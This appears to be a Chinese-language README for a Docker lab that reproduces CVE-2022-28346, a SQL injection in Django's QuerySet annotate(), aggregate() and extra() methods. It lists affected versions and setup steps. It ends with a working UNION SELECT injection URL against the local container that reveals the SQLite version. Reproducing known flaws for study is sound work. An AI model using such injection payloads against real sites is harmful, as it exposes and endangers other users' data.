在 Django 包中发现了一个漏洞,该漏洞导致 SQL 注入。此漏洞允许攻击者使用包含恶意 SQL 查询的精心构造的字典来完全破坏数据库。
您将在代码仓库中找到关于 CVE-2022-28346 的详细分析报告(PDF)。
CVE-2022-28346 是在 Django 的多个版本中发现的一个严重漏洞,Django 是一个流行的 Python Web 框架。该漏洞特别影响 Django 2.2 版本(2.2.28 之前)、3.2 版本(3.2.13 之前)以及 4.0 版本(4.0.4 之前)。
问题的核心在于 Django 中的 QuerySet.annotate()、aggregate() 和 extra() 方法。这些方法在使用列别名与精心构造的字典(通过字典展开)作为传递的 **kwargs 时,容易受到 SQL 注入攻击。SQL 注入是一种攻击类型,允许攻击者干扰应用程序对其数据库的查询。它可用于查看攻击者通常无法检索的数据,包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在某些情况下,攻击者可能能够修改或删除这些数据,影响数据完整性。
为了彻底测试此漏洞,请确保硬盘上有足够的可用空间。成功执行漏洞测试至少需要 1.2 GB 空间。
如果您已安装 Docker,可以跳过此部分,直接进行下一步操作。
要开始测试此漏洞,请安装 Docker:
在继续下一步之前,请确认 Docker 正在运行。
在终端中执行以下命令以获取我们已创建并推送到 DockerHub 的 Docker 镜像:
sudo docker pull marouanekamal/cve-2022-28346:latest

等待 Docker 镜像拉取完成。如果遇到任何问题,可能是由于网络连接问题;请确保网络连接稳定且正常。
安装完成后,运行以下命令验证镜像是否存在:
sudo docker images

现在可以使用以下命令运行 Docker 镜像:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

现在服务器正在运行,我们可以利用这个 CVE 了 ;)
运行 Docker 镜像后,您可以访问以下链接来检查 URL 是否可访问:
http://0.0.0.0:8000/

显示单词 ok,表示 URL 可访问并且一切正常!
现在让我们使用 SQL 注入来攻击此漏洞。输入以下 URL:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

我们成功确定了服务器使用的 SQLite 版本 ;)